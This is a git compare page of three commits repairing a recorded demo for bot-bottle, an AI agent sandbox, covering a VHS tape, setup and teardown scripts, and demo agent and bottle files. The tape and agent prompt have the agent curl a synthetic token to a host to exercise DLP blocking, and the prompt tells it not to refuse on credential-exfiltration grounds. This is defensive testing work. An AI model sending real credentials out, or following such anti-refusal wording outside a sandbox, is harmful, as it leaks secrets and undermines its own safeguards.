Compare commits

...

3 Commits

Author SHA1 Message Date
didericis 6c939e3309 fix: retarget the demo at macos-container and re-record
prd-number-check / require-numbered-prds (pull_request) Successful in 8s
tracker-policy-pr / check-pr (pull_request) Successful in 12s
The Docker backend cannot launch a bottle on this host: the
orchestrator publishes 127.0.0.1:8099 but is attached only to the
`--internal` control network, so Docker accepts the mapping and never
establishes the forward (PortBindings set, NetworkSettings.Ports
empty). Every launch dies on `orchestrator did not become healthy`.
That is independent of the demo and left alone here, because fixing it
means touching the L3 isolation the control network exists to provide.

Pin the tape to macos-container, which launches cleanly, and drop the
Docker daemon check and image pre-warm from setup. The pre-warm is not
replaced with a `container build` equivalent: build_image() applies
--dns handling that would become a second, drifting copy in shell, and
the warm layer cache already keeps rebuilds fast. Pre-warm never kept
BuildKit off camera anyway — the launcher prints CACHED lines
regardless, so that comment was wrong when it was written.

Launch via --headless. The interactive path opens four selectors in a
row and the tape drove none of them; it also lists every bottle in
~/.bot-bottle/bottles/, putting the operator's own bottle names in a
GIF that ships in the README. --headless is one-shot by construction
(`claude -p`), so all probes ride in on a single --prompt rather than
being typed as follow-ups into a session that has already exited.

Spell the probes as literal shell commands. Left in English, one take
had the agent substitute a placeholder for $FAKE_TOKEN: the DLP
scanner had nothing to match and gitleaks found nothing to flag, so
both controls reported a clean pass without ever being exercised.
Neither curl discards the body, so the recording shows the host-filter
refusal and the DLP refusal as visibly different reasons instead of
two identical 403s.

Drop the git/gitleaks probe. In the last run carrying it, gitleaks
reported `no leaks found` on an AKIA-shaped key and the gate forwarded
the push, which failed only because upstream.invalid does not resolve.
A recording of that reads as the gate catching a secret while showing
the opposite. Tracked in #541.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 23:40:46 -04:00
didericis f23086171b fix: make demo setup/teardown idempotent and guard on PATH
Two failure modes found while validating the harness against a scratch
config root:

Teardown removed $dest unconditionally before restoring the backup, so
a second run deleted the user's own file — the first run had already
restored it, and a restored original is indistinguishable from an
installed demo file except by content. Compare against the source
before removing.

Setup had the mirror-image bug: run twice without an intervening
teardown it backed up its *own* copy, and teardown then "restored"
that, leaving demo.md in the user's config permanently. Treat an
already-identical destination as a no-op.

Also fail fast when bot-bottle is not on PATH. The tape types the real
console script, so without it a recording silently captures
`command not found` instead of a bottle launching.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 22:08:22 -04:00
didericis 8774e94f91 fix: repair the demo harness for the current manifest format
The demo has been unrunnable since eafd1c1f deleted bot-bottle.demo.json
as a pre-YAML-migration artifact. demo-setup.sh still copied that file
under `set -euo pipefail`, so demo.sh and demo-record.sh both exited
non-zero before launching anything.

Rebuild the fixtures in the current per-file Markdown format. Bottles
are only read from $HOME/.bot-bottle/bottles/ — manifest/index.py
ignores a bottles/ dir in CWD by design (PRD 0011) — so setup now
installs into real config and pairs every write with a .demo-backup
that teardown restores. Teardown compares content before removing, so
a second run cannot delete the user's restored original.

Point the DLP probe at the bottle's own example.org route rather than
api.anthropic.com/dlp-probe. The provider-injected anthropic route
defaults to `redact`, which would forward a scrubbed request instead of
refusing; the declared route sets outbound_on_match: block so probe 3
stays the hard 403 the demo is showing off. Left at the default
`supervise` it would instead hold the request open for up to 300s
awaiting operator approval and stall the recording.

Also drop the stale pipelock naming from the tape (egress is the
gateway's own scanner now), fix demo.sh's ./cli.py invocation, and
pre-warm Dockerfile.gateway instead of the removed Dockerfile.git-gate.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-07-27 22:03:48 -04:00
7 changed files with 299 additions and 89 deletions
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.8 MiB

After

Width:  |  Height:  |  Size: 4.2 MiB

+84 -52
View File
@@ -1,10 +1,11 @@
# VHS tape — drives `bot-bottle start demo` interactively and asks
# claude (the AI) to run four probes via natural-language prompts.
# Setup (manifest + dummy SSH key + image pre-warm) and teardown
# happen outside the tape; record via `bash scripts/demo-record.sh`,
# which wraps both and decimates dead time post-record.
# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and
# teardown happen outside the tape; record via
# `bash scripts/demo-record.sh`, which wraps both and decimates dead
# time post-record.
#
# Re-record when the prompts, manifest, or cli.py preflight rendering
# Re-record when the prompts, manifest, or preflight rendering
# change. Claude's response time varies; the Sleeps below are sized
# for typical bottle launch + tool-use latencies and can be tightened
# if a recording consistently has slack.
@@ -16,63 +17,94 @@ Set FontSize 13
Set Width 1180
Set Height 780
Set Padding 20
Set Theme "BirdsOfParadise"
Set Theme "iTerm2 Dark Background"
Set TypingSpeed 40ms
Hide
Type "clear"
Enter
# Pin the backend off-camera so the visible command line stays the
# plain thing a user would type, and so the recording doesn't follow
# the host default (Firecracker on KVM Linux).
Type "export BOT_BOTTLE_BACKEND=macos-container"
Enter
Type "clear"
Enter
Show
# Real cli.py invocation — what a user with bot-bottle.json in cwd
# would type. The bottle declares one allowlist (only baked-in
# defaults), one git upstream (unreachable on purpose so gitleaks runs
# before the gate would forward), and a FAKE_TOKEN env var shaped like
# a GitHub PAT.
Type "bot-bottle start demo"
Enter
Sleep 8s
# Confirm the y/N preflight. cli.py reads from /dev/tty.
Type "y"
# Real invocation. The bottle declares one allowlisted host, one git
# upstream (unreachable on purpose so gitleaks runs before the gate
# would forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
#
# --headless is what keeps this tape stable. The interactive path opens
# four selectors in a row (bottle multiselect, name/color modal,
# image-mode picker, y/N preflight); driving those blind is how an
# earlier version of this tape silently recorded `command not found`
# after the prompts changed underneath it. --headless skips all four,
# and it keeps the operator's own bottle names out of the recording —
# the multiselect lists every bottle in ~/.bot-bottle/bottles/.
#
# All four probes ride in on the single --prompt because --headless is
# one-shot by construction: the claude provider implements it as
# `claude -p <prompt>` (contrib/claude/agent_provider.py:351), print
# mode, which answers and exits. There is no session left to type a
# follow-up into — an earlier cut of this tape typed probes 2-4 into
# the dead shell and recorded `bash: GET: command not found`.
#
# Note: no --cached-images. Setup does not pre-build, and launch
# derives a per-bottle tag that would not be present anyway;
# --cached-images is a hard failure when that tag is absent. The warm
# layer cache makes the derived build fast regardless.
#
# The probes, in order: (1) a warm-up whose reply at all proves
# api.anthropic.com survives the round trip — bumped TLS handshake, DLP
# scan, forward; (2) a non-allowlisted host, refused by the gateway's
# host filter; (3) an allowlisted host carrying a credential-shaped
# body, where the host check passes and the egress scanner's DLP body
# scan is the only thing left — that route sets outbound_on_match:
# block, so it is an immediate 403 rather than the default `supervise`
# hold-for-approval.
#
# Neither curl discards the body (no -o /dev/null). Without it both
# probes render as a bare `403` and probe 3 is indistinguishable from
# probe 2 — one take had the agent hedge "DLP or host-allowlist
# rejection" because it genuinely could not tell which control fired.
# The refusal text is the only thing that shows the host check passed
# and the body scan is what refused.
#
# Keep apostrophes out of the --prompt text. The whole prompt is a
# single-quoted shell word, so one apostrophe ends it early: a take
# that said "the proxy's refusal text" died on
# `bash: syntax error near unexpected token '('` before the bottle
# ever started.
#
# There is deliberately no git/gitleaks probe. It used to be probe 4,
# pushing an AKIA-shaped key to the git-gate to watch gitleaks reject
# the ref in pre-receive. In the last recording gitleaks reported `no
# leaks found` and the gate forwarded the push; it failed only because
# `upstream.invalid` does not resolve. A GIF of that reads as "the gate
# caught the secret" while showing the opposite, so the probe is out
# until issue #541 settles whether that is a real detection gap.
#
# The probes are spelled as literal shell commands rather than English
# because the agent's discretion is the single biggest source of
# recording flake. One take had it substitute a placeholder
# `ghp_FAKE...` for $FAKE_TOKEN, so the DLP scanner had nothing to
# match and the control reported a clean pass it never earned.
# $FAKE_TOKEN stays unexpanded here on purpose: the bottle's own shell
# expands it inside the sandbox, which is what makes probe 3 a real
# egress test.
Type `bot-bottle start demo --headless --prompt 'Run these three commands with the Bash tool, exactly as written, and report each result in one line, quoting the refusal text returned by the proxy verbatim. Do not substitute placeholders for any value. (1) echo hello; (2) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" http://example.com/; (3) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" -d "token=$FAKE_TOKEN" http://example.org/dlp-probe'`
Enter
# Wait for the bottle to launch: networks created, pipelock + git-gate
# companion containers started, agent container started, claude boots.
Sleep 22s
# Wait for the bottle to launch (networks, the gateway container with
# egress proxy + git gate + supervise, the agent container, claude
# booting) and then run all four probes to completion. Sized for four
# tool-using turns; mpdecimate strips whatever dead time is left over.
Sleep 110s
# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
# reachable through pipelock end-to-end: bumped TLS handshake, DLP
# scan, and forward all succeed.
Type "hello there"
Enter
Sleep 10s
# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
# forward example.com; the agent runs curl via Bash and reports the
# 403 it sees. The bottle prompt frames this as a proxy-behavior
# probe so claude doesn't second-guess the request.
Type "GET http://example.com via curl — what status does the proxy give back?"
Enter
Sleep 18s
# Probe 3 — allowlisted host BUT a credential-shaped body. The
# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
# check passes; pipelock's DLP body scanner has to catch it.
Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
Enter
Sleep 20s
# Probe 4 — commit an AKIA-shaped key and push to the declared
# upstream. The bottle's ~/.gitconfig rewrites the URL to the
# git-gate via `insteadOf`, so the push lands at the gate, gitleaks
# runs in pre-receive, and the ref is rejected before the gate
# would forward upstream.
Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
Enter
Sleep 30s
# Leave claude. The launcher tears down the container, companion containers, and
# networks on session end.
# Headless exits on its own once the prompt is answered; Ctrl+D just
# closes the recording shell. The launcher tears down the container,
# companion containers, and networks on session end.
Ctrl+D
Sleep 4s
+77 -27
View File
@@ -1,46 +1,96 @@
#!/usr/bin/env bash
# Prepare the working directory to run the recorded demo via cli.py:
# - back up any existing bot-bottle.json so the user's real config
# isn't clobbered
# - install bot-bottle.demo.json as bot-bottle.json
# - create a dummy SSH identity at the path the demo manifest expects
# - pre-warm the bottle + git-gate images quietly so the recording
# Stage everything the recorded demo needs, then hand off to demo.sh or
# demo-record.sh:
# - install scripts/demo/{bottle,agent}.md into $HOME/.bot-bottle/,
# backing up anything already sitting at those paths
# - create a dummy SSH identity where the demo bottle's git-gate
# expects one
# - pre-warm the agent + gateway images quietly so the recording
# doesn't spend its first 30s in BuildKit output
#
# Bottles can only be read from $HOME/.bot-bottle/bottles/ — a bottles/
# dir in CWD is ignored by design (manifest/index.py, PRD 0011) — so
# unlike the old throwaway manifest swap this writes into real config.
# Every write is paired with a .demo-backup so demo-teardown.sh can put
# things back exactly as they were; teardown is trapped by both
# callers and is safe to run twice.
set -euo pipefail
cd "$(dirname "$0")/.."
if ! docker info >/dev/null 2>&1; then
echo "demo-setup: docker daemon not reachable" >&2
if ! container system status >/dev/null 2>&1; then
echo "demo-setup: Apple Container services are not running." >&2
echo " Start them with: container system start" >&2
exit 1
fi
# Back up an existing local manifest (untouched if absent). Stored
# alongside the manifest with a deterministic name so teardown can
# find it without state files.
if [ -f bot-bottle.json ]; then
cp bot-bottle.json bot-bottle.json.demo-backup
# The tape types `bot-bottle start demo` verbatim, so the console
# script has to resolve in the recording shell. Without this guard a
# recording silently captures `command not found` instead of a bottle.
if ! command -v bot-bottle >/dev/null 2>&1; then
echo "demo-setup: bot-bottle is not on PATH. The demo runs the real" >&2
echo " console script, not ./cli.py — install it first (bash install.sh," >&2
echo " or 'pip install -e .' into an active venv), then re-run." >&2
exit 1
fi
cp bot-bottle.demo.json bot-bottle.json
config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
mkdir -p "$config_root/bottles" "$config_root/agents"
# Install one demo file, preserving whatever was there. The backup
# suffix is deterministic so teardown needs no state file. A stale
# backup from a killed run would be restored over the new install, so
# refuse rather than silently clobber it.
install_demo_file() {
src=$1
dest=$2
# Already installed (setup run twice without an intervening
# teardown). Backing up our own copy here would make teardown
# "restore" it and leave the demo file in the user's config forever,
# so treat this as a no-op.
if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
return 0
fi
if [ -e "$dest.demo-backup" ]; then
echo "demo-setup: $dest.demo-backup already exists — a previous run" >&2
echo " did not tear down cleanly. Inspect it, then remove or restore" >&2
echo " it by hand before re-running." >&2
exit 1
fi
if [ -e "$dest" ]; then
mv "$dest" "$dest.demo-backup"
fi
cp "$src" "$dest"
}
install_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
install_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
# Dummy SSH identity — the git-gate validator wants a readable file at
# the IdentityFile path. Contents don't matter for the demo: the
# unreachable upstream means the gate never actually uses the key.
# the key path. Contents don't matter for the demo: the unreachable
# upstream means the gate never actually uses the key.
fake_key_dir="$HOME/.cache/bot-bottle-demo"
mkdir -p "$fake_key_dir"
chmod 700 "$fake_key_dir"
printf 'not-a-real-key\n' > "$fake_key_dir/fake-key"
chmod 600 "$fake_key_dir/fake-key"
# Build the image graph quietly so the recorded run shows only the
# bottle launch and the four `!` probes, not BuildKit progress.
node_base_image=$(
python3 -c \
'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])'
)
docker build -q \
--build-arg "NODE_BASE_IMAGE=$node_base_image" \
-f bot_bottle/contrib/claude/Dockerfile \
-t bot-bottle-claude:latest . >/dev/null 2>&1 || true
docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true
# Report which base images are already in the Apple image store. A cold
# store isn't fatal — the launcher builds what it needs — but the first
# recorded launch then spends its opening seconds in BuildKit output
# instead of showing the bottle, so it's worth knowing before recording.
#
# Deliberately NOT pre-building here. `container build` needs the same
# --dns treatment the backend applies in
# backend/macos_container/util.py:build_image(); reproducing that in
# shell would be a second, silently-drifting copy of it. The layer
# cache already keeps a warm rebuild fast, and the old `docker build
# ... || true` pre-warm is exactly how this script kept "succeeding"
# while building a Dockerfile that had been deleted.
for image in bot-bottle-claude bot-bottle-gateway bot-bottle-orchestrator; do
if ! container image ls 2>/dev/null | grep -q "^${image} "; then
echo "demo-setup: note: $image not in the image store yet;" >&2
echo " the recording's first seconds will show it building." >&2
fi
done
+32 -7
View File
@@ -1,14 +1,39 @@
#!/usr/bin/env bash
# Undo what demo-setup.sh did. Restores any pre-existing
# bot-bottle.json, removes the dummy SSH identity. Idempotent.
# Undo what demo-setup.sh did: remove the installed demo bottle/agent,
# restore whatever they displaced, drop the dummy SSH identity.
#
# Idempotent, and deliberately not `set -e` on the restore path — this
# runs from an EXIT trap, so a partial setup (or a second invocation)
# must still put back everything it can rather than bailing on the
# first missing file.
set -euo pipefail
set -uo pipefail
cd "$(dirname "$0")/.."
rm -f bot-bottle.json
if [ -f bot-bottle.json.demo-backup ]; then
mv bot-bottle.json.demo-backup bot-bottle.json
fi
config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
# Remove our copy, then restore the displaced original if there was
# one. Order matters: the backup can only move back once the demo file
# is out of the way.
#
# The `cmp` guard is what makes a second run safe. Removing $dest
# unconditionally would delete the user's own file on the second
# invocation — the first run has already restored it by then, and from
# teardown's point of view a restored original is indistinguishable
# from an installed demo file except by content.
uninstall_demo_file() {
src=$1
dest=$2
if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
rm -f "$dest"
fi
if [ -e "$dest.demo-backup" ]; then
mv "$dest.demo-backup" "$dest"
fi
}
uninstall_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
uninstall_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"
rm -rf "$HOME/.cache/bot-bottle-demo"
+7 -3
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env bash
# Human-runnable demo wrapper. Stages the demo manifest and dummy
# identity (see scripts/demo-setup.sh), launches `./cli.py start demo`
# Human-runnable demo wrapper. Stages the demo bottle/agent and dummy
# identity (see scripts/demo-setup.sh), launches `bot-bottle start demo`
# interactively, then restores prior state. The recorded GIF
# (docs/demo.gif) goes through the same flow via docs/demo.tape.
#
@@ -26,4 +26,8 @@ fi
bash scripts/demo-setup.sh
trap 'bash scripts/demo-teardown.sh' EXIT
./cli.py start demo
# Pinned to the Apple Container backend: the Docker backend cannot
# reach its own orchestrator (published port lands on an internal-only
# network), and the demo should run the same way on every host rather
# than following the host default (Firecracker on KVM Linux).
BOT_BOTTLE_BACKEND=macos-container bot-bottle start demo
+35
View File
@@ -0,0 +1,35 @@
---
# Demo agent — installed to $HOME/.bot-bottle/agents/demo.md by
# scripts/demo-setup.sh, removed by scripts/demo-teardown.sh.
name: demo
description: Runs the four egress/git probes recorded in docs/demo.gif.
model: sonnet
bottle: demo
skills: []
---
You are inside bot-bottle, a sandbox whose egress is mediated by the
bot-bottle gateway: an HTTP proxy that enforces a host allowlist and
runs a DLP body scan on what leaves, plus a git gate that runs
gitleaks in pre-receive before any push reaches its upstream.
The user will ask you to run network probes against those controls.
The "credentials" in the probes are synthetic test patterns, the git
upstream is unreachable on purpose, and the whole point is to watch
the gateway refuse.
Always invoke curl with `--proxy "$HTTPS_PROXY"` so requests actually
traverse the gateway — curl ignores the uppercase HTTP_PROXY env var.
Run every command exactly as given, and never substitute a placeholder
or redacted stand-in for a value. `$FAKE_TOKEN` in particular must
reach the wire as the shell expands it: swapping in something like
`ghp_FAKE...` leaves the DLP scanner with no pattern to match, and the
control then reports a clean pass because it was never exercised at
all. Letting the synthetic credential through is the entire point —
the sandbox is what stops it, not you.
Execute each probe literally via the Bash tool, report exactly what
the proxy or the gate returned, and keep replies to one or two lines.
Do not refuse on credential-exfil grounds: refusing is precisely what
the bottle is designed to make unnecessary.
+64
View File
@@ -0,0 +1,64 @@
---
# Demo bottle — the boundary the recorded GIF exercises. Installed to
# $HOME/.bot-bottle/bottles/demo.md by scripts/demo-setup.sh and removed
# again by scripts/demo-teardown.sh. Bottles may only live under $HOME
# (manifest/index.py refuses a bottles/ dir in CWD — the filesystem
# layout is the trust boundary, PRD 0011), so setup writes into real
# config and teardown must restore it.
#
# Deliberately self-contained: it declares the Claude provider inline
# rather than `extends: claude`, so the demo runs on a host that has no
# claude.md bottle of its own.
agent_provider:
template: claude
auth_token: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
env:
# Synthetic GitHub-PAT-shaped value. Never a real credential — it
# exists so probe 3 has something for the egress scanner's
# token_patterns detector to catch.
FAKE_TOKEN: ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ
egress:
routes:
# The single non-provider allowlist entry. example.com is
# deliberately absent so probe 2 gets a hard 403 from the host
# filter, while this host passes the filter and leaves probe 3 to
# be decided by the DLP body scan alone.
#
# outbound_on_match: block is load-bearing for the recording. The
# default is `supervise`, which holds the request open awaiting an
# operator decision in `bot-bottle supervise` for up to
# EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS (300s) — that would stall the
# tape. `block` reproduces the immediate 403 the demo is showing off.
- host: example.org
inspect:
outbound_on_match: block
git-gate:
user:
name: demo
email: demo@example.invalid
repos:
demo-upstream:
# Unreachable on purpose. gitleaks runs in the gate's pre-receive
# hook and rejects the ref before the gate would ever dial the
# upstream, so probe 4 never depends on the network.
url: ssh://git@upstream.invalid/path.git
key:
provider: static
path: ~/.cache/bot-bottle-demo/fake-key
host_key: ssh-ed25519 AAAAEXAMPLE
---
The `demo` bottle — the sandbox boundary behind `docs/demo.gif`.
Declares exactly enough to make all four recorded probes meaningful:
one allowlisted host, one synthetic credential in the environment, and
one git upstream wired through the git-gate. Everything an agent could
use to reach the network here is either denied by the host filter,
caught by the egress DLP scan, or rejected by gitleaks at push time.
Not an example to copy for real work — the fake token and the
`upstream.invalid` remote only make sense for a scripted recording.
See `examples/bottles/` for bottles meant to be adapted.